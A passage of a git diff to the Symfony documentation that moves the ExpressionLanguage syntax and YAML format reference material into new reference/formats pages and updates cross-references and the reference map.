-For example::
-
-    $ret = $expressionLanguage->evaluate(
-        'life < universe or life < everything',
-        [
-            'life' => 10,
-            'universe' => 10,
-            'everything' => 22,
-        ]
-    );
-
-This ``$ret`` variable will be set to ``true``.
-
-String Operators
-................
-
-* ``~`` (concatenation)
-
-For example::
-
-    var_dump($expressionLanguage->evaluate(
-        'firstName~" "~lastName',
-        [
-            'firstName' => 'Arthur',
-            'lastName' => 'Dent',
-        ]
-    ));
-
-This would print out ``Arthur Dent``.
-
-Array Operators
-...............
-
-* ``in`` (contain)
-* ``not in`` (does not contain)
-
-For example::
-
-    class User
-    {
-        public $group;
-    }
-
-    $user = new User();
-    $user->group = 'human_resources';
-
-    $inGroup = $expressionLanguage->evaluate(
-        'user.group in ["human_resources", "marketing"]',
-        [
-            'user' => $user,
-        ]
-    );
-
-The ``$inGroup`` would evaluate to ``true``.
-
-Numeric Operators
-.................
-
-* ``..`` (range)
-
-For example::
-
-    class User
-    {
-        public $age;
-    }
-
-    $user = new User();
-    $user->age = 34;
-
-    $expressionLanguage->evaluate(
-        'user.age in 18..45',
-        [
-            'user' => $user,
-        ]
-    );
-
-This will evaluate to ``true``, because ``user.age`` is in the range from
-``18`` to ``45``.
-
-Ternary Operators
-.................
-
-* ``foo ? 'yes' : 'no'``
-* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
-* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
+    See :doc:`/reference/formats/expression_language` to learn the syntax of
+    the ExpressionLanguage component.
 
 Passing in Variables
 --------------------
@@ -428,6 +121,8 @@ expressions (e.g. the request, the current user, etc.):
 .. index::
     single: Caching; ExpressionLanguage
 
+.. _expression-language-caching:
+
 Caching
 -------
 
@@ -498,6 +193,8 @@ Both ``evaluate()`` and ``compile()`` can handle ``ParsedExpression`` and
     single: AST; ExpressionLanguage
     single: AST; Abstract Syntax Tree
 
+.. _expression-language-ast:
+
 AST Dumping and Editing
 -----------------------
 
diff --git a/components/yaml.rst b/components/yaml.rst
index e5cdc2d1ebc..94d0278959f 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -18,12 +18,9 @@ standard for all programming languages. YAML is a great format for your
 configuration files. YAML files are as expressive as XML files and as readable
 as INI files.
 
-The Symfony Yaml Component implements a selected subset of features defined in
-the `YAML 1.2 version specification`_.
-
 .. tip::
 
-    Learn more about :ref:`YAML specifications <yaml-format>`.
+    Learn more about :doc:`YAML specifications </reference/formats/yaml>`.
 
 Installation
 ------------
@@ -451,343 +448,5 @@ Add the ``--format`` option to get the output in JSON format:
     YAML files. This may for example be useful for recognizing deprecations of
     contents of YAML files during automated tests.
 
-.. _yaml-format:
-
-.. index::
-    single: Yaml; YAML Format
-
-The YAML Format
----------------
-
-Scalars
-~~~~~~~
-
-The syntax for scalars is similar to the PHP syntax.
-
-Strings
-.......
-
-Strings in YAML can be wrapped both in single and double quotes. In some cases,
-they can also be unquoted:
-
-.. code-block:: yaml
-
-    A string in YAML
-
-    'A single-quoted string in YAML'
-
-    "A double-quoted string in YAML"
-
-Quoted styles are useful when a string starts or end with one or more relevant
-spaces, because unquoted strings are trimmed on both end when parsing their
-contents. Quotes are required when the string contains special or reserved characters.
-
-When using single-quoted strings, any single quote ``'`` inside its contents
-must be doubled to escape it:
-
-.. code-block:: yaml
-
-    'A single quote '' inside a single-quoted string'
-
-Strings containing any of the following characters must be quoted. Although you
-can use double quotes, for these characters it is more convenient to use single
-quotes, which avoids having to escape any backslash ``\``:
-
-* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
-  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
-
-The double-quoted style provides a way to express arbitrary strings, by
-using ``\`` to escape characters and sequences. For instance, it is very useful
-when you need to embed a ``\n`` or a Unicode character in a string.
-
-.. code-block:: yaml
-
-    "A double-quoted string in YAML\n"
-
-If the string contains any of the following control characters, it must be
-escaped with double quotes:
-
-* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
-  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
-  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
-  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
-  ``\_``, ``\L``, ``\P``
-
-Finally, there are other cases when the strings must be quoted, no matter if
-you're using single or double quotes:
-
-* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
-  boolean value);
-* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
-  ``null`` value);
-* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
-  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
-  (otherwise, it would be treated as a numeric value);
-* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
-  automatically converted into a Unix timestamp).
-
-When a string contains line breaks, you can use the literal style, indicated
-by the pipe (``|``), to indicate that the string will span several lines. In
-literals, newlines are preserved:
-
-.. code-block:: yaml
-
-    |
-      \/ /| |\/| |
-      / / | |  | |__
-
-Alternatively, strings can be written with the folded style, denoted by ``>``,
-where each line break is replaced by a space:
-
-.. code-block:: yaml
-
-    >
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (notice the trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML.\n"
-
-    >-
-      This is a very long sentence
-      that spans several lines in the YAML.
-
-    # This will be parsed as follows: (without a trailing \n)
-    # "This is a very long sentence that spans several lines in the YAML."
-
-.. note::
-
-    Notice the two spaces before each line in the previous examples. They
-    won't appear in the resulting PHP strings.
-
-Numbers
-.......
-
-.. code-block:: yaml
-
-    # an integer
-    12
-
-.. code-block:: yaml
-
-    # an octal
-    0o14
-
-.. deprecated:: 5.1
-
-    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
-    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
-    notation and deprecated support for YAML 1.1 notation.
-
-.. code-block:: yaml
-
-    # an hexadecimal
-    0xC
-
-.. code-block:: yaml
-
-    # a float
-    13.4
-
-.. code-block:: yaml
-
-    # an exponential number
-    1.2e+34
-
-.. code-block:: yaml
-
-    # infinity
-    .inf
-
-Nulls
-.....
-
-Nulls in YAML can be expressed with ``null`` or ``~``.
-
-Booleans
-........
-
-Booleans in YAML are expressed with ``true`` and ``false``.
-
-Dates
-.....
-
-YAML uses the `ISO-8601`_ standard to express dates:
-
-.. code-block:: yaml
-
-    2001-12-14T21:59:43.10-05:00
-
-.. code-block:: yaml
-
-    # simple date
-    2002-12-14
-
-.. _yaml-format-collections:
-
-Collections
-~~~~~~~~~~~
-
-A YAML file is rarely used to describe a simple scalar. Most of the time, it
-describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
-or a mapping of elements (associative arrays in PHP).
-
-Sequences use a dash followed by a space:
-
-.. code-block:: yaml
-
-    - PHP
-    - Perl
-    - Python
-
-The previous YAML file is equivalent to the following PHP code::
-
-    ['PHP', 'Perl', 'Python'];
-
-Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
-
-.. code-block:: yaml
-
-    PHP: 5.2
-    MySQL: 5.1
-    Apache: 2.2.20
-
-which is equivalent to this PHP code::
-
-    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
-
-.. note::
-
-    In a mapping, a key can be any valid scalar.
-
-The number of spaces between the colon and the value does not matter:
-
-.. code-block:: yaml
-
-    PHP:    5.2
-    MySQL:  5.1
-    Apache: 2.2.20
-
-YAML uses indentation with one or more spaces to describe nested collections:
-
-.. code-block:: yaml
-
-    'symfony 1.0':
-      PHP:    5.0
-      Propel: 1.2
-    'symfony 1.2':
-      PHP:    5.2
-      Propel: 1.3
-
-The above YAML is equivalent to the following PHP code::
-
-    [
-        'symfony 1.0' => [
-            'PHP'    => 5.0,
-            'Propel' => 1.2,
-        ],
-        'symfony 1.2' => [
-            'PHP'    => 5.2,
-            'Propel' => 1.3,
-        ],
-    ];
-
-There is one important thing you need to remember when using indentation in a
-YAML file: *Indentation must be done with one or more spaces, but never with
-tabulators*.
-
-You can nest sequences and mappings as you like:
-
-.. code-block:: yaml
-
-    'Chapter 1':
-      - Introduction
-      - Event Types
-    'Chapter 2':
-      - Introduction
-      - Helpers
-
-YAML can also use flow styles for collections, using explicit indicators
-rather than indentation to denote scope.
-
-A sequence can be written as a comma separated list within square brackets
-(``[]``):
-
-.. code-block:: yaml
-
-    [PHP, Perl, Python]
-
-A mapping can be written as a comma separated list of key/values within curly
-braces (``{}``):
-
-.. code-block:: yaml
-
-    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
-
-You can mix and match styles to achieve a better readability:
-
-.. code-block:: yaml
-
-    'Chapter 1': [Introduction, Event Types]
-    'Chapter 2': [Introduction, Helpers]
-
-.. code-block:: yaml
-
-    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
-    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
-
-Comments
-~~~~~~~~
-
-Comments can be added in YAML by prefixing them with a hash mark (``#``):
-
-.. code-block:: yaml
-
-    # Comment on a line
-    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
-    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
-
-.. note::
-
-    Comments are ignored by the YAML parser and do not need to be indented
-    according to the current level of nesting in a collection.
-
-Explicit Typing
-~~~~~~~~~~~~~~~
-
-The YAML specification defines some tags to set the type of any data explicitly:
-
-.. code-block:: yaml
-
-    data:
-        # this value is parsed as a string (it's not transformed into a DateTime)
-        start_date: !!str 2002-12-14
-
-        # this value is parsed as a float number (it will be 3.0 instead of 3)
-        price: !!float 3
-
-        # this value is parsed as binary data encoded in base64
-        picture: !!binary |
-            R0lGODlhDAAMAIQAAP//9/X
-            17unp5WZmZgAAAOfn515eXv
-            Pz7Y6OjuDg4J+fn5OTk6enp
-            56enmleECcgggoBADs=
-
-Unsupported YAML Features
-~~~~~~~~~~~~~~~~~~~~~~~~~
-
-The following YAML features are not supported by the Symfony Yaml component:
-
-* Multi-documents (``---`` and ``...`` markers);
-* Complex mapping keys and complex values starting with ``?``;
-* Tagged values as keys;
-* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
-  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
-* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
-  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
-* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
-  ``{foo: ~, bar: ~}`` instead).
-
 .. _`YAML`: https://yaml.org/
-.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
 .. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
diff --git a/configuration.rst b/configuration.rst
index e447d21c772..cd2a920f05b 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -100,7 +100,7 @@ YAML is used by default when installing packages because it's concise and very
 readable. These are the main advantages and disadvantages of each format:
 
 * **YAML**: simple, clean and readable, but not all IDEs support autocompletion
-  and validation for it. :ref:`Learn the YAML syntax <yaml-format>`;
+  and validation for it. :doc:`Learn the YAML syntax </reference/formats/yaml>`;
 * **XML**: autocompleted/validated by most IDEs and is parsed natively by PHP,
   but sometimes it generates configuration considered too verbose. `Learn the XML syntax`_;
 * **PHP**: very powerful and it allows you to create dynamic configuration with
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index 9af9b3ff0ea..f9e47cf7fd9 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -140,7 +140,7 @@ One way to accomplish this is with the Expression constraint:
 
 The :ref:`expression <reference-constraint-expression-option>` option is the
 expression that must return true in order for validation to pass. Learn more
-about the :ref:`expression language syntax <expression-language-syntax>`.
+about the :doc:`expression language syntax </reference/formats/expression_language>`.
 
 .. sidebar:: Mapping the Error to a Specific Field
 
@@ -262,7 +262,7 @@ Options
 
 The expression that will be evaluated. If the expression evaluates to a false
 value (using ``==``, not ``===``), validation will fail. Learn more about the
-:ref:`expression language syntax <expression-language-syntax>`.
+:doc:`expression language syntax </reference/formats/expression_language>`.
 
 Depending on how you use the constraint, you have access to different variables
 in your expression:
diff --git a/reference/formats/expression_language.rst b/reference/formats/expression_language.rst
new file mode 100644
index 00000000000..097d9d905cd
--- /dev/null
+++ b/reference/formats/expression_language.rst
@@ -0,0 +1,320 @@
+.. index::
+    single: Syntax; ExpressionLanguage
+
+The Expression Syntax
+=====================
+
+The ExpressionLanguage component uses a specific syntax which is based on the
+expression syntax of Twig. In this document, you can find all supported
+syntaxes.
+
+Supported Literals
+------------------
+
+The component supports:
+
+* **strings** - single and double quotes (e.g. ``'hello'``)
+* **numbers** - e.g. ``103``
+* **arrays** - using JSON-like notation (e.g. ``[1, 2]``)
+* **hashes** - using JSON-like notation (e.g. ``{ foo: 'bar' }``)
+* **booleans** - ``true`` and ``false``
+* **null** - ``null``
+* **exponential** - also known as scientific (e.g. ``1.99E+3`` or ``1e-2``)
+
+.. caution::
+
+    A backslash (``\``) must be escaped by 4 backslashes (``\\\\``) in a string
+    and 8 backslashes (``\\\\\\\\``) in a regex::
+
+        echo $expressionLanguage->evaluate('"\\\\"'); // prints \
+        $expressionLanguage->evaluate('"a\\\\b" matches "/^a\\\\\\\\b$/"'); // returns true
+
+    Control characters (e.g. ``\n``) in expressions are replaced with
+    whitespace. To avoid this, escape the sequence with a single backslash
+    (e.g.  ``\\n``).
+
+.. _component-expression-objects:
+
+Working with Objects
+--------------------
+
+When passing objects into an expression, you can use different syntaxes to
+access properties and call methods on the object.
+
+Accessing Public Properties
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Public properties on objects can be accessed by using the ``.`` syntax, similar
+to JavaScript::
+
+    class Apple
+    {
+        public $variety;
+    }
+
+    $apple = new Apple();
+    $apple->variety = 'Honeycrisp';
+
+    var_dump($expressionLanguage->evaluate(
+        'fruit.variety',
+        [
+            'fruit' => $apple,
+        ]
+    ));
+
+This will print out ``Honeycrisp``.
+
+Calling Methods
+~~~~~~~~~~~~~~~
+
+The ``.`` syntax can also be used to call methods on an object, similar to
+JavaScript::
+
+    class Robot
+    {
+        public function sayHi($times)
+        {
+            $greetings = [];
+            for ($i = 0; $i < $times; $i++) {
+                $greetings[] = 'Hi';
+            }
+
+            return implode(' ', $greetings).'!';
+        }
+    }
+
+    $robot = new Robot();
+
+    var_dump($expressionLanguage->evaluate(
+        'robot.sayHi(3)',
+        [
+            'robot' => $robot,
+        ]
+    ));
+
+This will print out ``Hi Hi Hi!``.
+
+.. _component-expression-functions:
+
+Working with Functions
+----------------------
+
+You can also use registered functions in the expression by using the same
+syntax as PHP and JavaScript. The ExpressionLanguage component comes with one
+function by default: ``constant()``, which will return the value of the PHP
+constant::
+
+    define('DB_USER', 'root');
+
+    var_dump($expressionLanguage->evaluate(
+        'constant("DB_USER")'
+    ));
+
+This will print out ``root``.
+
+.. tip::
+
+    To read how to register your own functions to use in an expression, see
+    ":ref:`expression-language-extending`".
+
+.. _component-expression-arrays:
+
+Working with Arrays
+-------------------
+
+If you pass an array into an expression, use the ``[]`` syntax to access
+array keys, similar to JavaScript::
+
+    $data = ['life' => 10, 'universe' => 10, 'everything' => 22];
+
+    var_dump($expressionLanguage->evaluate(
+        'data["life"] + data["universe"] + data["everything"]',
+        [
+            'data' => $data,
+        ]
+    ));
+
+This will print out ``42``.
+
+Supported Operators
+-------------------
+
+The component comes with a lot of operators:
+
+Arithmetic Operators
+~~~~~~~~~~~~~~~~~~~~
+
+* ``+`` (addition)
+* ``-`` (subtraction)
+* ``*`` (multiplication)
+* ``/`` (division)
+* ``%`` (modulus)
+* ``**`` (pow)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'life + universe + everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    ));
+
+This will print out ``42``.
+
+Bitwise Operators
+~~~~~~~~~~~~~~~~~
+
+* ``&`` (and)
+* ``|`` (or)
+* ``^`` (xor)
+
+Comparison Operators
+~~~~~~~~~~~~~~~~~~~~
+
+* ``==`` (equal)
+* ``===`` (identical)
+* ``!=`` (not equal)
+* ``!==`` (not identical)
+* ``<`` (less than)
+* ``>`` (greater than)
+* ``<=`` (less than or equal to)
+* ``>=`` (greater than or equal to)
+* ``matches`` (regex match)
+
+.. tip::
+
+    To test if a string does *not* match a regex, use the logical ``not``
+    operator in combination with the ``matches`` operator::
+
+        $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
+
+    You must use parentheses because the unary operator ``not`` has precedence
+    over the binary operator ``matches``.
+
+Examples::
+
+    $ret1 = $expressionLanguage->evaluate(
+        'life == everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+    $ret2 = $expressionLanguage->evaluate(
+        'life > everything',
+        [
+            'life' => 10,
+            'everything' => 22,
+        ]
+    );
+
+Both variables would be set to ``false``.
+
+Logical Operators
+~~~~~~~~~~~~~~~~~
+
+* ``not`` or ``!``
+* ``and`` or ``&&``
+* ``or`` or ``||``
+
+For example::
+
+    $ret = $expressionLanguage->evaluate(
+        'life < universe or life < everything',
+        [
+            'life' => 10,
+            'universe' => 10,
+            'everything' => 22,
+        ]
+    );
+
+This ``$ret`` variable will be set to ``true``.
+
+String Operators
+~~~~~~~~~~~~~~~~
+
+* ``~`` (concatenation)
+
+For example::
+
+    var_dump($expressionLanguage->evaluate(
+        'firstName~" "~lastName',
+        [
+            'firstName' => 'Arthur',
+            'lastName' => 'Dent',
+        ]
+    ));
+
+This would print out ``Arthur Dent``.
+
+Array Operators
+~~~~~~~~~~~~~~~
+
+* ``in`` (contain)
+* ``not in`` (does not contain)
+
+For example::
+
+    class User
+    {
+        public $group;
+    }
+
+    $user = new User();
+    $user->group = 'human_resources';
+
+    $inGroup = $expressionLanguage->evaluate(
+        'user.group in ["human_resources", "marketing"]',
+        [
+            'user' => $user,
+        ]
+    );
+
+The ``$inGroup`` would evaluate to ``true``.
+
+Numeric Operators
+~~~~~~~~~~~~~~~~~
+
+* ``..`` (range)
+
+For example::
+
+    class User
+    {
+        public $age;
+    }
+
+    $user = new User();
+    $user->age = 34;
+
+    $expressionLanguage->evaluate(
+        'user.age in 18..45',
+        [
+            'user' => $user,
+        ]
+    );
+
+This will evaluate to ``true``, because ``user.age`` is in the range from
+``18`` to ``45``.
+
+Ternary Operators
+~~~~~~~~~~~~~~~~~
+
+* ``foo ? 'yes' : 'no'``
+* ``foo ?: 'no'`` (equal to ``foo ? foo : 'no'``)
+* ``foo ? 'yes'`` (equal to ``foo ? 'yes' : ''``)
+
+Built-in Objects and Variables
+------------------------------
+
+When using this component inside a Symfony application, certain objects and
+variables are automatically injected by Symfony so you can use them in your
+expressions (e.g. the request, the current user, etc.):
+
+* :doc:`Variables available in security expressions </security/expressions>`;
+* :doc:`Variables available in service container expressions </service_container/expression_language>`;
+* :ref:`Variables available in routing expressions <routing-matching-expressions>`.
diff --git a/translation/message_format.rst b/reference/formats/message_format.rst
similarity index 100%
rename from translation/message_format.rst
rename to reference/formats/message_format.rst
diff --git a/translation/xliff.rst b/reference/formats/xliff.rst
similarity index 100%
rename from translation/xliff.rst
rename to reference/formats/xliff.rst
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
new file mode 100644
index 00000000000..cc426fa3f1c
--- /dev/null
+++ b/reference/formats/yaml.rst
@@ -0,0 +1,340 @@
+.. index::
+    single: Yaml; YAML Format
+
+The YAML Format
+---------------
+
+The Symfony Yaml Component implements a selected subset of features defined in
+the `YAML 1.2 version specification`_.
+
+Scalars
+~~~~~~~
+
+The syntax for scalars is similar to the PHP syntax.
+
+Strings
+.......
+
+Strings in YAML can be wrapped both in single and double quotes. In some cases,
+they can also be unquoted:
+
+.. code-block:: yaml
+
+    A string in YAML
+
+    'A single-quoted string in YAML'
+
+    "A double-quoted string in YAML"
+
+Quoted styles are useful when a string starts or end with one or more relevant
+spaces, because unquoted strings are trimmed on both end when parsing their
+contents. Quotes are required when the string contains special or reserved characters.
+
+When using single-quoted strings, any single quote ``'`` inside its contents
+must be doubled to escape it:
+
+.. code-block:: yaml
+
+    'A single quote '' inside a single-quoted string'
+
+Strings containing any of the following characters must be quoted. Although you
+can use double quotes, for these characters it is more convenient to use single
+quotes, which avoids having to escape any backslash ``\``:
+
+* ``:``, ``{``, ``}``, ``[``, ``]``, ``,``, ``&``, ``*``, ``#``, ``?``, ``|``,
+  ``-``, ``<``, ``>``, ``=``, ``!``, ``%``, ``@``, `````
+
+The double-quoted style provides a way to express arbitrary strings, by
+using ``\`` to escape characters and sequences. For instance, it is very useful
+when you need to embed a ``\n`` or a Unicode character in a string.
+
+.. code-block:: yaml
+
+    "A double-quoted string in YAML\n"
+
+If the string contains any of the following control characters, it must be
+escaped with double quotes:
+
+* ``\0``, ``\x01``, ``\x02``, ``\x03``, ``\x04``, ``\x05``, ``\x06``, ``\a``,
+  ``\b``, ``\t``, ``\n``, ``\v``, ``\f``, ``\r``, ``\x0e``, ``\x0f``, ``\x10``,
+  ``\x11``, ``\x12``, ``\x13``, ``\x14``, ``\x15``, ``\x16``, ``\x17``, ``\x18``,
+  ``\x19``, ``\x1a``, ``\e``, ``\x1c``, ``\x1d``, ``\x1e``, ``\x1f``, ``\N``,
+  ``\_``, ``\L``, ``\P``
+
+Finally, there are other cases when the strings must be quoted, no matter if
+you're using single or double quotes:
+
+* When the string is ``true`` or ``false`` (otherwise, it would be treated as a
+  boolean value);
+* When the string is ``null`` or ``~`` (otherwise, it would be considered as a
+  ``null`` value);
+* When the string looks like a number, such as integers (e.g. ``2``, ``14``, etc.),
+  floats (e.g. ``2.6``, ``14.9``) and exponential numbers (e.g. ``12e7``, etc.)
+  (otherwise, it would be treated as a numeric value);
+* When the string looks like a date (e.g. ``2014-12-31``) (otherwise it would be
+  automatically converted into a Unix timestamp).
+
+When a string contains line breaks, you can use the literal style, indicated
+by the pipe (``|``), to indicate that the string will span several lines. In
+literals, newlines are preserved:
+
+.. code-block:: yaml
+
+    |
+      \/ /| |\/| |
+      / / | |  | |__
+
+Alternatively, strings can be written with the folded style, denoted by ``>``,
+where each line break is replaced by a space:
+
+.. code-block:: yaml
+
+    >
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (notice the trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML.\n"
+
+    >-
+      This is a very long sentence
+      that spans several lines in the YAML.
+
+    # This will be parsed as follows: (without a trailing \n)
+    # "This is a very long sentence that spans several lines in the YAML."
+
+.. note::
+
+    Notice the two spaces before each line in the previous examples. They
+    won't appear in the resulting PHP strings.
+
+Numbers
+.......
+
+.. code-block:: yaml
+
+    # an integer
+    12
+
+.. code-block:: yaml
+
+    # an octal
+    0o14
+
+.. deprecated:: 5.1
+
+    In YAML 1.1, octal numbers use the notation ``0...``, whereas in YAML 1.2
+    the notation changes to ``0o...``. Symfony 5.1 added support for YAML 1.2
+    notation and deprecated support for YAML 1.1 notation.
+
+.. code-block:: yaml
+
+    # an hexadecimal
+    0xC
+
+.. code-block:: yaml
+
+    # a float
+    13.4
+
+.. code-block:: yaml
+
+    # an exponential number
+    1.2e+34
+
+.. code-block:: yaml
+
+    # infinity
+    .inf
+
+Nulls
+.....
+
+Nulls in YAML can be expressed with ``null`` or ``~``.
+
+Booleans
+........
+
+Booleans in YAML are expressed with ``true`` and ``false``.
+
+Dates
+.....
+
+YAML uses the `ISO-8601`_ standard to express dates:
+
+.. code-block:: yaml
+
+    2001-12-14T21:59:43.10-05:00
+
+.. code-block:: yaml
+
+    # simple date
+    2002-12-14
+
+.. _yaml-format-collections:
+
+Collections
+~~~~~~~~~~~
+
+A YAML file is rarely used to describe a simple scalar. Most of the time, it
+describes a collection. YAML collections can be a sequence (indexed arrays in PHP)
+or a mapping of elements (associative arrays in PHP).
+
+Sequences use a dash followed by a space:
+
+.. code-block:: yaml
+
+    - PHP
+    - Perl
+    - Python
+
+The previous YAML file is equivalent to the following PHP code::
+
+    ['PHP', 'Perl', 'Python'];
+
+Mappings use a colon followed by a space (``:`` ) to mark each key/value pair:
+
+.. code-block:: yaml
+
+    PHP: 5.2
+    MySQL: 5.1
+    Apache: 2.2.20
+
+which is equivalent to this PHP code::
+
+    ['PHP' => 5.2, 'MySQL' => 5.1, 'Apache' => '2.2.20'];
+
+.. note::
+
+    In a mapping, a key can be any valid scalar.
+
+The number of spaces between the colon and the value does not matter:
+
+.. code-block:: yaml
+
+    PHP:    5.2
+    MySQL:  5.1
+    Apache: 2.2.20
+
+YAML uses indentation with one or more spaces to describe nested collections:
+
+.. code-block:: yaml
+
+    'symfony 1.0':
+      PHP:    5.0
+      Propel: 1.2
+    'symfony 1.2':
+      PHP:    5.2
+      Propel: 1.3
+
+The above YAML is equivalent to the following PHP code::
+
+    [
+        'symfony 1.0' => [
+            'PHP'    => 5.0,
+            'Propel' => 1.2,
+        ],
+        'symfony 1.2' => [
+            'PHP'    => 5.2,
+            'Propel' => 1.3,
+        ],
+    ];
+
+There is one important thing you need to remember when using indentation in a
+YAML file: *Indentation must be done with one or more spaces, but never with
+tabulators*.
+
+You can nest sequences and mappings as you like:
+
+.. code-block:: yaml
+
+    'Chapter 1':
+      - Introduction
+      - Event Types
+    'Chapter 2':
+      - Introduction
+      - Helpers
+
+YAML can also use flow styles for collections, using explicit indicators
+rather than indentation to denote scope.
+
+A sequence can be written as a comma separated list within square brackets
+(``[]``):
+
+.. code-block:: yaml
+
+    [PHP, Perl, Python]
+
+A mapping can be written as a comma separated list of key/values within curly
+braces (``{}``):
+
+.. code-block:: yaml
+
+    { PHP: 5.2, MySQL: 5.1, Apache: 2.2.20 }
+
+You can mix and match styles to achieve a better readability:
+
+.. code-block:: yaml
+
+    'Chapter 1': [Introduction, Event Types]
+    'Chapter 2': [Introduction, Helpers]
+
+.. code-block:: yaml
+
+    'symfony 1.0': { PHP: 5.0, Propel: 1.2 }
+    'symfony 1.2': { PHP: 5.2, Propel: 1.3 }
+
+Comments
+~~~~~~~~
+
+Comments can be added in YAML by prefixing them with a hash mark (``#``):
+
+.. code-block:: yaml
+
+    # Comment on a line
+    "symfony 1.0": { PHP: 5.0, Propel: 1.2 } # Comment at the end of a line
+    "symfony 1.2": { PHP: 5.2, Propel: 1.3 }
+
+.. note::
+
+    Comments are ignored by the YAML parser and do not need to be indented
+    according to the current level of nesting in a collection.
+
+Explicit Typing
+~~~~~~~~~~~~~~~
+
+The YAML specification defines some tags to set the type of any data explicitly:
+
+.. code-block:: yaml
+
+    data:
+        # this value is parsed as a string (it's not transformed into a DateTime)
+        start_date: !!str 2002-12-14
+
+        # this value is parsed as a float number (it will be 3.0 instead of 3)
+        price: !!float 3
+
+        # this value is parsed as binary data encoded in base64
+        picture: !!binary |
+            R0lGODlhDAAMAIQAAP//9/X
+            17unp5WZmZgAAAOfn515eXv
+            Pz7Y6OjuDg4J+fn5OTk6enp
+            56enmleECcgggoBADs=
+
+Unsupported YAML Features
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+The following YAML features are not supported by the Symfony Yaml component:
+
+* Multi-documents (``---`` and ``...`` markers);
+* Complex mapping keys and complex values starting with ``?``;
+* Tagged values as keys;
+* The following tags and types: ``!!set``, ``!!omap``, ``!!pairs``, ``!!seq``,
+  ``!!bool``, ``!!int``, ``!!merge``, ``!!null``, ``!!timestamp``, ``!!value``, ``!!yaml``;
+* Tags (``TAG`` directive; example: ``%TAG ! tag:example.com,2000:app/``)
+  and tag references (example: ``!<tag:example.com,2000:app/foo>``);
+* Using sequence-like syntax for mapping elements (example: ``{foo, bar}``; use
+  ``{foo: ~, bar: ~}`` instead).
+
+.. _`YAML 1.2 version specification`: https://yaml.org/spec/1.2/spec.html
+.. _`ISO-8601`: https://www.iso.org/iso-8601-date-and-time-format.html
diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index aa92cebc144..2be47a8a0b0 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -1,30 +1,39 @@
-* **Configuration Options**
-
-  Ever wondered what configuration options you have available to you in
-  ``config/packages/*.yaml`` files? In this section, all the available
-  configuration is broken down by the key (e.g. ``framework``) that defines
-  each possible section of your Symfony configuration.
-
-  * :doc:`framework </reference/configuration/framework>`
-  * :doc:`doctrine </reference/configuration/doctrine>`
-  * :doc:`security </reference/configuration/security>`
-  * :doc:`swiftmailer </reference/configuration/swiftmailer>`
-  * :doc:`twig </reference/configuration/twig>`
-  * :doc:`monolog </reference/configuration/monolog>`
-  * :doc:`web_profiler </reference/configuration/web_profiler>`
-  * :doc:`debug </reference/configuration/debug>`
+Configuration Options
+---------------------
 
-* :doc:`Configuring the Kernel </reference/configuration/kernel>`
+Ever wondered what configuration options you have available to you in
+``config/packages/*.yaml`` files? In this section, all the available
+configuration is broken down by the key (e.g. ``framework``) that defines
+each possible section of your Symfony configuration.
 
-* **Forms and Validation**
+* :doc:`framework </reference/configuration/framework>`
+* :doc:`doctrine </reference/configuration/doctrine>`
+* :doc:`security </reference/configuration/security>`
+* :doc:`swiftmailer </reference/configuration/swiftmailer>`
+* :doc:`twig </reference/configuration/twig>`
+* :doc:`monolog </reference/configuration/monolog>`
+* :doc:`web_profiler </reference/configuration/web_profiler>`
+* :doc:`debug </reference/configuration/debug>`
 
-  * :doc:`Form Field Type Reference </reference/forms/types>`
